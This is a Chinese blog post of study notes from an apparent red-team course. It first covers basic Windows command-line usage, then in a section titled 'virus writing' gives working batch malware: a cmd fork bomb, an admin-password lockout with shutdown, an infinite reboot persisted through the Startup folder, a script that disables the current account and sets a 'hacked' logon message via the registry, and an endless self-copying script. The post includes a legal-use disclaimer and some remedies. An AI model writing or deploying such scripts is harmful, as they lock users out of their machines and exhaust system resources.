本笔记为 泷羽sec 《红队全栈课程》学习笔记,课程请可自行前往B站学习,课程/笔记主要涉及网络安全相关知识、系统以及工具的介绍等,请使用该课程、本笔记以及课程和笔记中提及工具的读者,遵守网络安全相关法律法规,切勿进行违法违规违纪的操作。
Windows基础
pwoershell下
常用命令
echo命令
echo #输出
echo "hello word"
#覆盖内容
echo "hello word" >1.txt
#追加内容
echo "hello word" >>1.txt
显示当前目录文件
dir #显示当前目录下文件
dir C:/users/home #显示绝对目录下home文件
dir MV #显示当前目录下mv
cd命令
切换指定目录
cd C:\Windows\users\home #绝对路劲用法
cd Windows #如果在目录下,可以使用相对路径
根目录
\
返回上个目录
cd ..
上个*2个目录
cd ..\..
切换盘符
D:
切换到当前用户目录
cd ~
树状图层级关系显示
tree #显示目录或指定目录
tree /f #显示所有文件和目录
tree /a #ascll码显示
删除命令
rd home 删除空文件夹
rd home /s 删除非空文件夹
rd home /f 强制删除
清空命令行
cls
查看网络状态
ipconfig
ipconfig /all 显示所有
复制
copy 1.txt 2.txt
#将一个文件复制到当前目录并命名
copy 1.txt home\2.txt
#复制到指定目录
copy users/1.txt home\2.txt
将指定目录复制到指定目录
copy *.txt D:/windows
将所有txt复制到指定目录,*是通配符
复制并覆盖
copy 1.txt \home\2.txt /y
移动文件
移动
move 1.txt \home
移动并重命名
move 1.txt\home\2.txt
重命名
ren 1.txt 2.txt
#如果是文件需要带上他原本格式
批量重命名
ren *.txt*.bat
删除
* 通配符
del 1.txt.#单个
del *.txt #多个
del /f 1.txt #强制删除只读文件(默认情况下不会删除)
del /q *.txt 静默删除(干坏事的)
#指定目录所有文件
del /s D:\home
# 所有 格式文件
del /s D:\home\*.txt
删除指定属性文件
r 只读文件
s 系统文件
h 隐藏文件
a 存档文件
del /a hone
ping命令
ping 8.8.8.80 #指定ip
ping www.baidu.com #指定域名
ping -n 100 ip #指定发包数量
ping -l 1000 ip #设定数据字节
ping -v4
ping -v6
ping -a ip 解析主机名
type(查看文本内容)
#先写入 cmd写入 echo "abcd" >>1.txt
#再用type查看文本内容
type 1.txt
结合find命令筛选出文本内容并显示行号
type 1.txt | find 'w' /n
#/n 显示行号
计算机进程
tasklist #所有进程
tasklist | find '<>' #筛选进程
S ip U user P password
tasklist /S /U /P #查看远程计算机进程
#终止进程
/F #强制
/T #子进程
#终止远程计算机进程
taskkill /S /U /P /IM 名字.exe
pid 1000 pid形式
IM cmd.exe 进程名形式
显示系统版本
ver 命令行
winver GUI
创建进程*
start ping #自带程序,需要指定参数
start cmd.exe #指定程序
注销用户会话
当前
Logoff
指定id,使用query user查看会话id
Logoff 1
注销命令
shutdown /s #关闭计算机
shutdown /f #重启计算机
shutdown /l #注销当前用户会话
shutdown /s /t 60 #60秒内关机
shutdown /r /t 30 #30秒关机
shutdown /s /f #强制关闭计算机
shutdown /a #取消定时关闭或重启
shutdown /h #使计算机进入休眠模式
shutdown /p #立即关闭计算机
telnet
telnet ip
查看所有用户
net user
添加用户
net user username password /add
删除用户
net user username /delete
查看本地用户组
net localgroup
添加组
net localgroup groupname /add
添加到管理员用户组,相当于提权
net localgroup administrators username /add
net启动和关闭
net start mysql #启动
net stop mysql #关闭
net enable mysql 自启动#
注册表
reg /?
病毒编写
资源耗尽病毒(疯狂弹cmd)
cmd写
echo start cmd >1.txt #打开新的cmd窗口,将cmd写入1.txt
echo %0 >>1.txt # %0 在批处理脚本中, %0 代表脚本文件自身的路径(即脚本文件的名字)。将 %0 放
在 start cmd 后面,会使新启动的命令行窗口重新运行当前批处理文件
ren 1.txt 1.bat #开始执行将txt后缀改为bat后缀
脚本运行过程:
每次运行此脚本时,都会启动一个新的 cmd 窗口,并在该窗口中再次执行当前脚本。
新的 cmd 窗口会启动另一个 cmd 窗口,这个过程会不断重复,最终生成大量的 cmd 窗口。
由于这些窗口在不断创建,系统的 CPU 和内存资源会被大量占用,导致资源耗尽,系统变慢,甚至崩溃。
解决方式
重启
锁机病毒
net user administrator 123456
#这个是把管理员账户修改密码,这样会导致管理员会丢失对该用户账户的控制权
echo shutdown /s /t 0 >>2.txt
关闭计算机,立即执行,执行时会将计算机立即关机
ren 2.txt 2.bat
脚本执行过程
第一行为:修改admin账户密码
第二行为:关机,迫使计算机重新登录用户
无限重启病毒
这边我的/用错了,而是用\
shutdown /s /t 0 >c:/Windows/Temp/1.bat
copy c:/Windows/Temp/1.bat
"%USERFILE%/AppDate/Roaming/Microsoft/start/Menu/Programs/startup/"
第一段:关闭计算机立即执行,shutdown命令在上面,这里就不重复
第二段:将1.bat文件复制到启动文件下,启动文件夹中的所有文件会在用户登录时自动执行,因此这会1.bat 在每次开机时自动运行,导致系统进入无限重启状态。
脚本执行过程
1:创建恶意批量文件
- 将shutdown 命令 写入c:/Windows/Temp/1.bat
他的作用就是关机
- 将1.bat复制到启动文件中,启动文件夹中的程序会在用户登录时自动运行,因此每次系统启动1.bat 都会自动执行,导致系统立即关机。
- 由于该批处理文件会在每次登录时自动执行关机操作,用户几乎无法正常进入系统桌面,形成无限重启的效果。
禁用当前账户
简介:
在批处理(Batch)脚本中,可以通过禁用当前用户账户和修改系统登录信息来达到“锁定账户并提示用户已被锁定”的效果。
实现方法:
1.禁用当前账户:使用 net user 命令将当前用户禁用。
2. 修改登录提示:通过修改注册表设置自定义登录提示信息。
#关闭命令回显
@echo off
#获取当前用户名
for /f "tokens=2 delims= \" %%a in ('whoami') do set username=%%a
#禁用当前用户
net user %username% /active:no
#设置登录信息
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "你已经被hack,账户锁定" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "你已经被hack,你的账户已被锁定,请联系管理员。" /f
#关机
shutdown /s /t 0
脚本运行过程:
1. 运行脚本:以管理员权限运行该批处理脚本。
2. 账户禁用:脚本会获取当前用户名,并将该用户账户设置为禁用状态。
3. 立刻关闭主机:脚本在禁用账户后会立刻关闭主机
4. 尝试重新登录:当用户再次登录系统时,将显示“账户已被锁定,请联系管理员”的提示。
5. 账户禁用效果:账户被禁用后,即使输入正确的密码也无法登录系统。
无限复制本体
@echo off
#获取当前脚本文件名和路径
stelocal enabledelayedexpansion
set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop
#无限复制脚本到桌面
:loop
set count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop
代码分析:
- 启用延迟变量扩展
stelocal enabledelayedexpansion
启用延迟变量扩展,这样可以在循环中动态更新
变量的值。延迟扩展在批处理脚本中非常有用,特别是在处理循环时。
但实测后不加这个行代码对当期那脚本无影响,可能最是对for循环有作用。
- 获取脚本路径和桌面路径
set scriptPath=%~f0 :获取当前脚本文件的完整路径,并将其存储在变量
scriptPath 中。 %~f0 表示当前批处理文件的完整路径。
set desktopPath=%USERPROFILE%\Desktop :获取当前用户桌面的路径,将其存储在变量 desktopPath 中。 %USERPROFILE% 是系统环境变量,指向当前用户的主文件夹路径。
- 无限循环复制脚本
:loop :定义一个标签 loop ,用于无限循环的入口。
set /a count+=1 :定义一个计数器 count ,并在每次循环时自增 1,用于生成唯一的
文件名, /a 告诉 set 命令对右侧的表达式进行算术运算。
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat" :将当前脚本文件复制到桌面,并命名为 Copy_1.bat Copy_2.bat 等等。 %count% 确保每次复制文件的文件名不同,以避免覆盖。
goto loop :跳转回 loop 标签,形成无限循环
运行过程
启动脚本:运行此脚本后,它会进入无限循环。
2. 复制脚本文件:在每次循环中,脚本会将自身复制到桌面,并使用不同的文件名。
3. 占用系统资源:随着循环的进行,桌面上会不断生成新的脚本文件,最终可能占满桌面
空间,并导致系统存储空间耗尽。
4. 系统影响:如果存储空间被完全填满,系统性能可能显著下降,甚至会影响其他程序的正常运行
解决方式
直接 del copy*,直接全部删除
标签:脚本,文件,bat,win,cmd,基础,shutdown,编写,txt From: https://blog.csdn.net/2301_78098553/article/details/143697309